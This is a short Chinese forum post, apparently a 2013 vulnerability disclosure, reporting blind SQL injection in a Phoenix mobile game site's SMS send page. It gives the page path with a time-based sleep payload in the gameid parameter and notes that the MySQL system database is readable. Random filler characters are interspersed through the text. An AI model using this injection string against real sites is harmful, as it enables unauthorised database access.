简要描述：
3 Q7 o& z ~& M1 P' I: C- Z凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
8 Z/ j% I7 }7 L0 z1 J2 c9 t: j- n6 ?- w- Q8 ^% L% T; e
详细说明：# G. d/ u' b- t* G, ^9 j
存在SQL盲注url:
0 V+ X; R3 e. f; h' Yfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
5 I4 Z; _ K& Rhttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png
' t4 e* G9 K4 Z4 Bhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
' l- {# ]* S: v8 [2 B; w. Phttp://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg6 o& [! J) j7 x8 F# R
; k& D4 ]$ E0 c
能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对